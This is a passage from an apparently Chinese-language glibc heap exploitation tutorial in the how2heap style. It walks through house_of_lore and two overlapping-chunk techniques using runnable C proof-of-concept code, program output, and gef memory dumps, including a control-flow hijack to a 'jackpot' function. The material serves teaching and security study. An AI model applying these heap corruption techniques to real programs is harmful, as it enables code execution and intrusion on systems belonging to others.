    fprintf(stderr, &quot;victim-&amp;gt;bk: %p\n\n&quot;, (void *)victim[1]);

    victim[1] = (intptr_t)stack_buffer_1;
    fprintf(stderr, &quot;Now emulating a vulnerability that can overwrite the victim-&amp;gt;bk pointer\n&quot;);

    void *p3 = malloc(0x40);
    char *p4 = malloc(0x80);
    memset(p4, &apos;A&apos;, 0x10);
    fprintf(stderr, &quot;This last malloc should return a chunk at the position injected in bin-&amp;gt;bk: %p\n&quot;, p4);
    fprintf(stderr, &quot;The fd pointer of stack_buffer_2 has changed: %p\n\n&quot;, stack_buffer_2[2]);

    intptr_t sc = (intptr_t)jackpot;
    memcpy((p4+40), &amp;amp;sc, 8);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g house_of_lore.c
$ ./a.out
Allocated the victim (small) chunk: 0x1b2e010
stack_buffer_1: 0x7ffe5c570350
stack_buffer_2: 0x7ffe5c570330

Freeing the victim chunk 0x1b2e010, it will be inserted in the unsorted bin
victim-&amp;gt;fd: 0x7f239d4c9b78
victim-&amp;gt;bk: 0x7f239d4c9b78

Malloc a chunk that can&apos;t be handled by the unsorted bin, nor the SmallBin: 0x1b2e0c0
The victim chunk 0x1b2e010 will be inserted in front of the SmallBin
victim-&amp;gt;fd: 0x7f239d4c9bf8
victim-&amp;gt;bk: 0x7f239d4c9bf8

Now emulating a vulnerability that can overwrite the victim-&amp;gt;bk pointer
This last malloc should return a chunk at the position injected in bin-&amp;gt;bk: 0x7ffe5c570360
The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8

Nice jump d00d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来，我们要尝试伪造一条 small bins 链。&lt;/p&gt;
&lt;p&gt;首先创建两个 chunk，第一个是我们的 victim chunk，请确保它是一个 small chunk，第二个随意，只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。然后，在栈上伪造两个 fake chunk，让 fake chunk 1 的 fd 指向 victim chunk，bk 指向 fake chunk 2；fake chunk 2 的 fd 指向 fake chunk 1，这样一个 small bin 链就差不多了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/26gx victim-2
0x603000:    0x0000000000000000    0x0000000000000091  &amp;lt;-- victim chunk
0x603010:    0x4141414141414141    0x4141414141414141
0x603020:    0x4141414141414141    0x4141414141414141
0x603030:    0x4141414141414141    0x4141414141414141
0x603040:    0x4141414141414141    0x4141414141414141
0x603050:    0x4141414141414141    0x4141414141414141
0x603060:    0x4141414141414141    0x4141414141414141
0x603070:    0x4141414141414141    0x4141414141414141
0x603080:    0x4141414141414141    0x4141414141414141
0x603090:    0x0000000000000000    0x0000000000000021  &amp;lt;-- chunk p5
0x6030a0:    0x4141414141414141    0x4141414141414141
0x6030b0:    0x0000000000000000    0x0000000000020f51  &amp;lt;-- top chunk
0x6030c0:    0x0000000000000000    0x0000000000000000
gef➤  x/10gx &amp;amp;stack_buffer_2
0x7fffffffdc30:    0x0000000000000000    0x0000000000000000  &amp;lt;-- fake chunk 2
0x7fffffffdc40:    0x00007fffffffdc50    0x0000000000400aed      &amp;lt;-- fd-&amp;gt;fake chunk 1
0x7fffffffdc50:    0x0000000000000000    0x0000000000000000  &amp;lt;-- fake chunk 1
0x7fffffffdc60:    0x0000000000603000    0x00007fffffffdc30      &amp;lt;-- fd-&amp;gt;victim chunk, bk-&amp;gt;fake chunk 2
0x7fffffffdc70:    0x00007fffffffdd60    0x7c008088c400bc00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;molloc 中对于 small bin 链表的检查是通过对bin中第二块chunk的bk指针是否指向第一块，来发现对small bins的破坏，因此，为了绕过检查，我需要同时伪造bin中前两个chunk&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;          [...]

          else
            {
              bck = victim-&amp;gt;bk;
    if (__glibc_unlikely (bck-&amp;gt;fd != victim))
                {
                  errstr = &quot;malloc(): smallbin double linked list corrupted&quot;;
                  goto errout;
                }
              set_inuse_bit_at_offset (victim, nb);
              bin-&amp;gt;bk = bck;
              bck-&amp;gt;fd = bin;

              [...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来释放掉 victim chunk，它会被放到 unsoted bin 中，且 fd/bk 均指向 unsorted bin 的头部：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/26gx victim-2
0x603000:    0x0000000000000000    0x0000000000000091  &amp;lt;-- victim chunk [be freed]
0x603010:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      &amp;lt;-- fd, bk pointer
0x603020:    0x4141414141414141    0x4141414141414141
0x603030:    0x4141414141414141    0x4141414141414141
0x603040:    0x4141414141414141    0x4141414141414141
0x603050:    0x4141414141414141    0x4141414141414141
0x603060:    0x4141414141414141    0x4141414141414141
0x603070:    0x4141414141414141    0x4141414141414141
0x603080:    0x4141414141414141    0x4141414141414141
0x603090:    0x0000000000000090    0x0000000000000020  &amp;lt;-- chunk p5
0x6030a0:    0x4141414141414141    0x4141414141414141
0x6030b0:    0x0000000000000000    0x0000000000020f51  &amp;lt;-- top chunk
0x6030c0:    0x0000000000000000    0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena &apos;main_arena&apos; ]
[+] unsorted_bins[0]: fw=0x603000, bk=0x603000
 →   Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时，申请一块大的 chunk，只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了。这样原本在 unsorted bin 中的 chunk，会被整理回各自的所属的 bins 中，这里就是 small bins：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  heap bins small
[ Small Bins for arena &apos;main_arena&apos; ]
[+] small_bins[8]: fw=0x603000, bk=0x603000
 →   Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来是最关键的一步，假设存在一个漏洞，可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/26gx victim-2
0x603000:    0x0000000000000000    0x0000000000000091  &amp;lt;-- victim chunk [be freed]
0x603010:    0x00007ffff7dd1bf8    0x00007fffffffdc50      &amp;lt;-- bk-&amp;gt;fake chunk 1
0x603020:    0x4141414141414141    0x4141414141414141
0x603030:    0x4141414141414141    0x4141414141414141
0x603040:    0x4141414141414141    0x4141414141414141
0x603050:    0x4141414141414141    0x4141414141414141
0x603060:    0x4141414141414141    0x4141414141414141
0x603070:    0x4141414141414141    0x4141414141414141
0x603080:    0x4141414141414141    0x4141414141414141
0x603090:    0x0000000000000090    0x0000000000000020  &amp;lt;-- chunk p5
0x6030a0:    0x4141414141414141    0x4141414141414141
0x6030b0:    0x0000000000000000    0x0000000000000111  &amp;lt;-- chunk p2
0x6030c0:    0x0000000000000000    0x0000000000000000
gef➤  x/10gx &amp;amp;stack_buffer_2
0x7fffffffdc30:    0x0000000000000000    0x0000000000000000  &amp;lt;-- fake chunk 2
0x7fffffffdc40:    0x00007fffffffdc50    0x0000000000400aed      &amp;lt;-- fd-&amp;gt;fake chunk 1
0x7fffffffdc50:    0x0000000000000000    0x0000000000000000  &amp;lt;-- fake chunk 1
0x7fffffffdc60:    0x0000000000603000    0x00007fffffffdc30     &amp;lt;-- fd-&amp;gt;victim chunk, bk-&amp;gt;fake chunk 2
0x7fffffffdc70:    0x00007fffffffdd60    0x7c008088c400bc00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们知道 small bins 是先进后出的，节点的增加发生在链表头部，而删除发生在尾部。这时整条链是这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HEAD(undefined) &amp;lt;-&amp;gt; fake chunk 2 &amp;lt;-&amp;gt; fake chunk 1 &amp;lt;-&amp;gt; victim chunk &amp;lt;-&amp;gt; TAIL

fd: -&amp;gt;
bk: &amp;lt;-
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;fake chunk 2 的 bk 指向了一个未定义的地址，如果能通过内存泄露等手段，拿到 HEAD 的地址并填进去，整条链就闭合了。当然这里完全没有必要这么做。&lt;/p&gt;
&lt;p&gt;接下来的第一个 malloc，会返回 victim chunk 的地址，如果 malloc 的大小正好等于 victim chunk 的大小，那么情况会简单一点。但是这里我们不这样做，malloc 一个小一点的地址，可以看到，malloc 从 small bin 里取出了末尾的 victim chunk，切了一块返回给 chunk p3，然后把剩下的部分放回到了 unsorted bin。同时 small bin 变成了这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HEAD(undefined) &amp;lt;-&amp;gt; fake chunk 2 &amp;lt;-&amp;gt; fake chunk 1 &amp;lt;-&amp;gt; TAIL
    
    

gef➤  x/26gx victim-2
0x603000:    0x0000000000000000    0x0000000000000051  &amp;lt;-- chunk p3
0x603010:    0x00007ffff7dd1bf8    0x00007fffffffdc50
0x603020:    0x4141414141414141    0x4141414141414141
0x603030:    0x4141414141414141    0x4141414141414141
0x603040:    0x4141414141414141    0x4141414141414141
0x603050:    0x4141414141414141    0x0000000000000041  &amp;lt;-- unsorted bin
0x603060:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      &amp;lt;-- fd, bk pointer
0x603070:    0x4141414141414141    0x4141414141414141
0x603080:    0x4141414141414141    0x4141414141414141
0x603090:    0x0000000000000040    0x0000000000000020  &amp;lt;-- chunk p5
0x6030a0:    0x4141414141414141    0x4141414141414141
0x6030b0:    0x0000000000000000    0x0000000000000111  &amp;lt;-- chunk p2
0x6030c0:    0x0000000000000000    0x0000000000000000
gef➤  x/10gx &amp;amp;stack_buffer_2
0x7fffffffdc30:    0x0000000000000000    0x0000000000000000  &amp;lt;-- fake chunk 2
0x7fffffffdc40:    0x00007fffffffdc50    0x0000000000400aed      &amp;lt;-- fd-&amp;gt;fake chunk 1
0x7fffffffdc50:    0x0000000000000000    0x0000000000000000  &amp;lt;-- fake chunk 1
0x7fffffffdc60:    0x00007ffff7dd1bf8    0x00007fffffffdc30      &amp;lt;-- fd-&amp;gt;TAIL, bk-&amp;gt;fake chunk 2
0x7fffffffdc70:    0x00007fffffffdd60    0x7c008088c400bc00
gef➤  heap bins unsorted
[ Unsorted Bin for arena &apos;main_arena&apos; ]
[+] unsorted_bins[0]: fw=0x603050, bk=0x603050
 →   Chunk(addr=0x603060, size=0x40, flags=PREV_INUSE)    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，再次 malloc 将返回 fake chunk 1 的地址，地址在栈上且我们能够控制。同时 small bin 变成这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HEAD(undefined) &amp;lt;-&amp;gt; fake chunk 2 &amp;lt;-&amp;gt; TAIL
    
    
    
    
gef➤  x/10gx &amp;amp;stack_buffer_2
0x7fffffffdc30:    0x0000000000000000    0x0000000000000000  &amp;lt;-- fake chunk 2
0x7fffffffdc40:    0x00007ffff7dd1bf8    0x0000000000400aed      &amp;lt;-- fd-&amp;gt;TAIL
0x7fffffffdc50:    0x0000000000000000    0x0000000000000000  &amp;lt;-- chunk 4
0x7fffffffdc60:    0x4141414141414141    0x4141414141414141
0x7fffffffdc70:    0x00007fffffffdd60    0x7c008088c400bc00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是我们就成功地骗过了 malloc 在栈上分配了一个 chunk&lt;/p&gt;
&lt;p&gt;heap-use-after-free，所以上面我们用于修改 bk 指针的漏洞，应该就是一个 UAF 吧，当然溢出也是可以的&lt;/p&gt;
&lt;h4&gt;libc-2.27 版本&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;

void jackpot(){ puts(&quot;Nice jump d00d&quot;); exit(0); }

int main() {
    intptr_t *victim = malloc(0x80);

    // fill the tcache
    int *a[10];
    int i;
    for (i = 0; i &amp;lt; 7; i++) {
        a[i] = malloc(0x80);
    }
    for (i = 0; i &amp;lt; 7; i++) {
        free(a[i]);
    }

    memset(victim, &apos;A&apos;, 0x80);
    void *p5 = malloc(0x10);
    memset(p5, &apos;A&apos;, 0x10);
    intptr_t *victim_chunk = victim - 2;
    fprintf(stderr, &quot;Allocated the victim (small) chunk: %p\n&quot;, victim);

    intptr_t* stack_buffer_1[4] = {0};
    intptr_t* stack_buffer_2[6] = {0};
    stack_buffer_1[0] = 0;
    stack_buffer_1[2] = victim_chunk;
    stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
    stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
    stack_buffer_2[3] = (intptr_t*)stack_buffer_1;    // 3675 bck-&amp;gt;fd = bin;

    fprintf(stderr, &quot;stack_buffer_1: %p\n&quot;, (void*)stack_buffer_1);
    fprintf(stderr, &quot;stack_buffer_2: %p\n\n&quot;, (void*)stack_buffer_2);

    free((void*)victim);
    fprintf(stderr, &quot;Freeing the victim chunk %p, it will be inserted in the unsorted bin\n&quot;, victim);
    fprintf(stderr, &quot;victim-&amp;gt;fd: %p\n&quot;, (void *)victim[0]);
    fprintf(stderr, &quot;victim-&amp;gt;bk: %p\n\n&quot;, (void *)victim[1]);

    void *p2 = malloc(0x100);
    fprintf(stderr, &quot;Malloc a chunk that can&apos;t be handled by the unsorted bin, nor the SmallBin: %p\n&quot;, p2);
    fprintf(stderr, &quot;The victim chunk %p will be inserted in front of the SmallBin\n&quot;, victim);
    fprintf(stderr, &quot;victim-&amp;gt;fd: %p\n&quot;, (void *)victim[0]);
    fprintf(stderr, &quot;victim-&amp;gt;bk: %p\n\n&quot;, (void *)victim[1]);

    victim[1] = (intptr_t)stack_buffer_1;
    fprintf(stderr, &quot;Now emulating a vulnerability that can overwrite the victim-&amp;gt;bk pointer\n&quot;);

    void *p3 = malloc(0x40);

    // empty the tcache
    for (i = 0; i &amp;lt; 7; i++) {
        a[i] = malloc(0x80);
    }

    char *p4 = malloc(0x80);
    memset(p4, &apos;A&apos;, 0x10);
    fprintf(stderr, &quot;This last malloc should return a chunk at the position injected in bin-&amp;gt;bk: %p\n&quot;, p4);
    fprintf(stderr, &quot;The fd pointer of stack_buffer_2 has changed: %p\n\n&quot;, stack_buffer_2[2]);

    intptr_t sc = (intptr_t)jackpot;
    memcpy((p4+0xa8), &amp;amp;sc, 8);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g house_of_lore.c
$ ./a.out
Allocated the victim (small) chunk: 0x55674d75f260
stack_buffer_1: 0x7ffff71fb1d0
stack_buffer_2: 0x7ffff71fb1f0

Freeing the victim chunk 0x55674d75f260, it will be inserted in the unsorted bin
victim-&amp;gt;fd: 0x7f1eba392b00
victim-&amp;gt;bk: 0x7f1eba392b00

Malloc a chunk that can&apos;t be handled by the unsorted bin, nor the SmallBin: 0x55674d75f700
The victim chunk 0x55674d75f260 will be inserted in front of the SmallBin
victim-&amp;gt;fd: 0x7f1eba392b80
victim-&amp;gt;bk: 0x7f1eba392b80

Now emulating a vulnerability that can overwrite the victim-&amp;gt;bk pointer
This last malloc should return a chunk at the position injected in bin-&amp;gt;bk: 0x7ffff71fb1e0
The fd pointer of stack_buffer_2 has changed: 0x7ffff71fb1e0

Nice jump d00d
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;overlapping_chunks&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;

int main() {
    intptr_t *p1,*p2,*p3,*p4;

    p1 = malloc(0x90 - 8);
    p2 = malloc(0x90 - 8);
    p3 = malloc(0x80 - 8);
    memset(p1, &apos;A&apos;, 0x90 - 8);
    memset(p2, &apos;A&apos;, 0x90 - 8);
    memset(p3, &apos;A&apos;, 0x80 - 8);
    fprintf(stderr, &quot;Now we allocate 3 chunks on the heap\n&quot;);
    fprintf(stderr, &quot;p1=%p\np2=%p\np3=%p\n\n&quot;, p1, p2, p3);

    free(p2);
    fprintf(stderr, &quot;Freeing the chunk p2\n&quot;);

    int evil_chunk_size = 0x111;
    int evil_region_size = 0x110 - 8;
    *(p2-1) = evil_chunk_size; // Overwriting the &quot;size&quot; field of chunk p2
    fprintf(stderr, &quot;Emulating an overflow that can overwrite the size of the chunk p2.\n\n&quot;);

    p4 = malloc(evil_region_size);
    fprintf(stderr, &quot;p4: %p ~ %p\n&quot;, p4, p4+evil_region_size);
    fprintf(stderr, &quot;p3: %p ~ %p\n&quot;, p3, p3+0x80);

    fprintf(stderr, &quot;\nIf we memset(p4, &apos;B&apos;, 0xd0), we have:\n&quot;);
    memset(p4, &apos;B&apos;, 0xd0);
    fprintf(stderr, &quot;p4 = %s\n&quot;, (char *)p4);
    fprintf(stderr, &quot;p3 = %s\n&quot;, (char *)p3);

    fprintf(stderr, &quot;\nIf we memset(p3, &apos;C&apos;, 0x50), we have:\n&quot;);
    memset(p3, &apos;C&apos;, 0x50);
    fprintf(stderr, &quot;p4 = %s\n&quot;, (char *)p4);
    fprintf(stderr, &quot;p3 = %s\n&quot;, (char *)p3);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g overlapping_chunks.c
$ ./a.out
Now we allocate 3 chunks on the heap
p1=0x1e2b010
p2=0x1e2b0a0
p3=0x1e2b130

Freeing the chunk p2
Emulating an overflow that can overwrite the size of the chunk p2.

p4: 0x1e2b0a0 ~ 0x1e2b8e0
p3: 0x1e2b130 ~ 0x1e2b530

If we memset(p4, &apos;B&apos;, 0xd0), we have:
p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

If we memset(p3, &apos;C&apos;, 0x50), we have:
p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
p3 = CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个比较简单，就是堆块重叠的问题。通过一个溢出漏洞，改写 unsorted bin 中空闲堆块的 size，改变下一次 malloc 可以返回的堆块大小。&lt;/p&gt;
&lt;p&gt;首先分配三个堆块，然后释放掉中间的一个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/60gx 0x602010-0x10
0x602000:    0x0000000000000000    0x0000000000000091  &amp;lt;-- chunk 1
0x602010:    0x4141414141414141    0x4141414141414141
0x602020:    0x4141414141414141    0x4141414141414141
0x602030:    0x4141414141414141    0x4141414141414141
0x602040:    0x4141414141414141    0x4141414141414141
0x602050:    0x4141414141414141    0x4141414141414141
0x602060:    0x4141414141414141    0x4141414141414141
0x602070:    0x4141414141414141    0x4141414141414141
0x602080:    0x4141414141414141    0x4141414141414141
0x602090:    0x4141414141414141    0x0000000000000091  &amp;lt;-- chunk 2 [be freed]
0x6020a0:    0x00007ffff7dd1b78    0x00007ffff7dd1b78
0x6020b0:    0x4141414141414141    0x4141414141414141
0x6020c0:    0x4141414141414141    0x4141414141414141
0x6020d0:    0x4141414141414141    0x4141414141414141
0x6020e0:    0x4141414141414141    0x4141414141414141
0x6020f0:    0x4141414141414141    0x4141414141414141
0x602100:    0x4141414141414141    0x4141414141414141
0x602110:    0x4141414141414141    0x4141414141414141
0x602120:    0x0000000000000090    0x0000000000000080  &amp;lt;-- chunk 3
0x602130:    0x4141414141414141    0x4141414141414141
0x602140:    0x4141414141414141    0x4141414141414141
0x602150:    0x4141414141414141    0x4141414141414141
0x602160:    0x4141414141414141    0x4141414141414141
0x602170:    0x4141414141414141    0x4141414141414141
0x602180:    0x4141414141414141    0x4141414141414141
0x602190:    0x4141414141414141    0x4141414141414141
0x6021a0:    0x4141414141414141    0x0000000000020e61  &amp;lt;-- top chunk
0x6021b0:    0x0000000000000000    0x0000000000000000
0x6021c0:    0x0000000000000000    0x0000000000000000
0x6021d0:    0x0000000000000000    0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena &apos;main_arena&apos; ]
[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
 →   Chunk(addr=0x6020a0, size=0x90, flags=PREV_INUSE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;chunk 2 被放到了 unsorted bin 中，其 size 值为 0x90。&lt;/p&gt;
&lt;p&gt;接下来，假设我们有一个溢出漏洞，可以改写 chunk 2 的 size 值，比如这里我们将其改为 0x111，也就是原本 chunk 2 和 chunk 3 的大小相加，最后一位是 1 表示 chunk 1 是在使用的，其实有没有都无所谓。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  heap bins unsorted
[ Unsorted Bin for arena &apos;main_arena&apos; ]
[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
 →   Chunk(addr=0x6020a0, size=0x110, flags=PREV_INUSE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时 unsorted bin 中的数据也更改了。&lt;/p&gt;
&lt;p&gt;接下来 malloc 一个大小的等于 chunk 2 和 chunk 3 之和的 chunk 4，这会将 chunk 2 和 chunk 3 都包含进来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/60gx 0x602010-0x10
0x602000:    0x0000000000000000    0x0000000000000091  &amp;lt;-- chunk 1
0x602010:    0x4141414141414141    0x4141414141414141
0x602020:    0x4141414141414141    0x4141414141414141
0x602030:    0x4141414141414141    0x4141414141414141
0x602040:    0x4141414141414141    0x4141414141414141
0x602050:    0x4141414141414141    0x4141414141414141
0x602060:    0x4141414141414141    0x4141414141414141
0x602070:    0x4141414141414141    0x4141414141414141
0x602080:    0x4141414141414141    0x4141414141414141
0x602090:    0x4141414141414141    0x0000000000000111  &amp;lt;-- chunk 4
0x6020a0:    0x00007ffff7dd1b78    0x00007ffff7dd1b78
0x6020b0:    0x4141414141414141    0x4141414141414141
0x6020c0:    0x4141414141414141    0x4141414141414141
0x6020d0:    0x4141414141414141    0x4141414141414141
0x6020e0:    0x4141414141414141    0x4141414141414141
0x6020f0:    0x4141414141414141    0x4141414141414141
0x602100:    0x4141414141414141    0x4141414141414141
0x602110:    0x4141414141414141    0x4141414141414141
0x602120:    0x0000000000000090    0x0000000000000080  &amp;lt;-- chunk 3
0x602130:    0x4141414141414141    0x4141414141414141
0x602140:    0x4141414141414141    0x4141414141414141
0x602150:    0x4141414141414141    0x4141414141414141
0x602160:    0x4141414141414141    0x4141414141414141
0x602170:    0x4141414141414141    0x4141414141414141
0x602180:    0x4141414141414141    0x4141414141414141
0x602190:    0x4141414141414141    0x4141414141414141
0x6021a0:    0x4141414141414141    0x0000000000020e61  &amp;lt;-- top chunk
0x6021b0:    0x0000000000000000    0x0000000000000000
0x6021c0:    0x0000000000000000    0x0000000000000000
0x6021d0:    0x0000000000000000    0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样，相当于 chunk 4 和 chunk 3 就重叠了，两个 chunk 可以互相修改对方的数据。就像上面的运行结果打印出来的那样。&lt;/p&gt;
&lt;h3&gt;overlapping_chunks_2&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;malloc.h&amp;gt;

int main() {
    intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
    unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
    int prev_in_use = 0x1;

    p1 = malloc(0x10);
    p2 = malloc(0x80);
    p3 = malloc(0x80);
    p4 = malloc(0x80);
    p5 = malloc(0x10);
    real_size_p1 = malloc_usable_size(p1);
    real_size_p2 = malloc_usable_size(p2);
    real_size_p3 = malloc_usable_size(p3);
    real_size_p4 = malloc_usable_size(p4);
    real_size_p5 = malloc_usable_size(p5);
    memset(p1, &apos;A&apos;, real_size_p1);
    memset(p2, &apos;A&apos;, real_size_p2);
    memset(p3, &apos;A&apos;, real_size_p3);
    memset(p4, &apos;A&apos;, real_size_p4);
    memset(p5, &apos;A&apos;, real_size_p5);
    fprintf(stderr, &quot;Now we allocate 5 chunks on the heap\n\n&quot;);
    fprintf(stderr, &quot;chunk p1: %p ~ %p\n&quot;, p1, (unsigned char *)p1+malloc_usable_size(p1));
    fprintf(stderr, &quot;chunk p2: %p ~ %p\n&quot;, p2, (unsigned char *)p2+malloc_usable_size(p2));
    fprintf(stderr, &quot;chunk p3: %p ~ %p\n&quot;, p3, (unsigned char *)p3+malloc_usable_size(p3));
    fprintf(stderr, &quot;chunk p4: %p ~ %p\n&quot;, p4, (unsigned char *)p4+malloc_usable_size(p4));
    fprintf(stderr, &quot;chunk p5: %p ~ %p\n&quot;, p5, (unsigned char *)p5+malloc_usable_size(p5));

    free(p4);
    fprintf(stderr, &quot;\nLet&apos;s free the chunk p4\n\n&quot;);

    fprintf(stderr, &quot;Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n&quot;);
    *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE

    free(p2);

    p6 = malloc(0x1b0 - 0x10);
    real_size_p6 = malloc_usable_size(p6);
    fprintf(stderr, &quot;Allocating a new chunk 6: %p ~ %p\n\n&quot;, p6, (unsigned char *)p6+real_size_p6);

    fprintf(stderr, &quot;Now p6 and p3 are overlapping, if we memset(p6, &apos;B&apos;, 0xd0)\n&quot;);
    fprintf(stderr, &quot;p3 before = %s\n&quot;, (char *)p3);
    memset(p6, &apos;B&apos;, 0xd0);
    fprintf(stderr, &quot;p3 after  = %s\n&quot;, (char *)p3);
}
$ gcc -g overlapping_chunks_2.c
$ ./a.out
Now we allocate 5 chunks on the heap

chunk p1: 0x18c2010 ~ 0x18c2028
chunk p2: 0x18c2030 ~ 0x18c20b8
chunk p3: 0x18c20c0 ~ 0x18c2148
chunk p4: 0x18c2150 ~ 0x18c21d8
chunk p5: 0x18c21e0 ~ 0x18c21f8

Let&apos;s free the chunk p4

Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)

Allocating a new chunk 6: 0x18c2030 ~ 0x18c21d8

Now p6 and p3 are overlapping, if we memset(p6, &apos;B&apos;, 0xd0)
p3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
p3 after  = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同样是堆块重叠的问题，前面那个是在 chunk 已经被 free，加入到了 unsorted bin 之后，再修改其 size 值，然后 malloc 一个不一样的 chunk 出来，而这里是在 free 之前修改 size 值，使 free 错误地修改了下一个 chunk 的 prev_size 值，导致中间的 chunk 强行合并。另外前面那个重叠是相邻堆块之间的，而这里是不相邻堆块之间的。&lt;/p&gt;
&lt;p&gt;我们需要五个堆块，假设第 chunk 1 存在溢出，可以改写第二个 chunk 2 的数据，chunk 5 的作用是防止释放 chunk 4 后被合并进 top chunk。所以我们要重叠的区域是 chunk 2 到 chunk 4。首先将 chunk 4 释放掉，注意看 chunk 5 的 prev_size 值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/70gx 0x602010-0x10
0x602000:    0x0000000000000000    0x0000000000000021  &amp;lt;-- chunk 1
0x602010:    0x4141414141414141    0x4141414141414141
0x602020:    0x4141414141414141    0x0000000000000091  &amp;lt;-- chunk 2
0x602030:    0x4141414141414141    0x4141414141414141
0x602040:    0x4141414141414141    0x4141414141414141
0x602050:    0x4141414141414141    0x4141414141414141
0x602060:    0x4141414141414141    0x4141414141414141
0x602070:    0x4141414141414141    0x4141414141414141
0x602080:    0x4141414141414141    0x4141414141414141
0x602090:    0x4141414141414141    0x4141414141414141
0x6020a0:    0x4141414141414141    0x4141414141414141
